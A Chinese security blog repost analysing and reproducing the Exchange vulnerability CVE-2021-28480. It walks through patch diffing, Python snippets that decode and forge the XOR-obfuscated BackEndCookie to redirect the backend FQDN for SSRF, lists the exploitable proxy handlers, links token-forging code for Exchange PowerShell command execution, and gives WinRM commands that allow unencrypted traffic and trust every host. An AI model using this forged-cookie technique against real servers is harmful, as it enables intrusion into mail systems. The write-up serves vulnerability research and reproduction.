更多全球网络安全资讯尽在邑安全
2021年04月14日,360CERT监测发现Microsoft发布了Exchange 安全更新的通告,本次安全更新修复了四个蠕虫级别的远程命令执行漏洞。漏洞编号为CVE-2021-28480,CVE-2021-28481,CVE-2021-28482,CVE-2021-28483,漏洞等级:严重,漏洞评分:9.8。
分析:
补丁对比:补丁更改了部分代码,和26855一样 添加了对于fqdn的验证
通过研究代码,对比数据 ,发现访问某些位置的时候会生成BackendCookie,用来指定fqdn 这就和CVE-2021-26855有些相似了
这里的cookie是 由BackEndCookieEntryPaser.TryParse()方法进行处理
我们在这里进行断点,能截取到填入的加密值
由于我们是通过Anoymous的方式进行的访问,所以name的名字为Anonymous.
进入到TryParse方法
通过 UnObscurify 方法进行解码
进行了base64解码并异或解码
将这里的代码翻译成python 代码为
def code(str):
s=base64.b64decode(str)
array = list()
for i in s:
array.append(i ^ 255)
print("".join(list(map(chr,array))))
这里解密出来的形式为:Server~WIN-64V4EOC0M9F.test.com~1941997017~2022-03-30T03:19:43
当第一个参数为Server时 会将第二个参数作为Fqdn传入
而中间的WIN-64V4EOC0M9F.test.com
跟Proxylogon一样 我们就可以进行修改
修改后 就会得到下面这样
但是,不是每个链接都能利用这个cookie
要处理它,有必要找到 BEServerCookieProxyRequestHandler 类的继承者
● AnonymousCalendarProxyRequestHandler
● ComplianceServiceProxyRequestHandler
● EwsAutodiscoverProxyRequestHandler
● MailboxDeliveryProxyRequestHandler
● MapiProxyRequestHandler
● MicroServiceProxyRequestHandler
● MrsProxyRequestHandler
● OabProxyRequestHandler
而且 owa ecp的处理代码中会有一个方法RedirectIfNeeded进行判断fqdn是否存在
我们最后选择使用 AnonymousCalendarProxyRequestHandler 来进行模拟
通过代码 找到他的加密代码Obscurify()
改为python代码为
def encode():
bytes = list(map(ord,"Server~WIN-64V4EOC0M9F.test.com/mapi/nspi?~1941997017~2022-04-21T07:36:07"))
array = list()
for i in bytes:
array.append(i ^ 255)
print(base64.b64encode(bytearray(array)).decode())
访问后成功ssrf
但是,在CVE-2021-26855以后,微软添加了另一部分代码来预防此类ssrf
获取sid并生成token来访问到exchange powershell 并执行命令
代码可参考:
https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py
(1)设置网络位置
不能选择Public network,需要Home network或者Work network。
(2)设置管理员用户的密码
确保管理员用户设置了密码
(3)开启winrm服务
winrm quickconfig
(4)修改allowunencrypted属性
Powershell命令如下:
cd WSMan:localhostClient set-item .allowunencrypted $true dir
(5)设置TrustedHosts
Powershell命令如下:
Get-Item WSMan:localhostClientTrustedHosts Set-Item WSMan:localhostClientTrustedHosts -Value '*'
以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令。
原文来自: xz.aliyun.com
原文链接: https://xz.aliyun.com/t/11437
推荐文章
1
2
原文始发于微信公众号(邑安全):Exchange CVE-2021-28480 分析复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论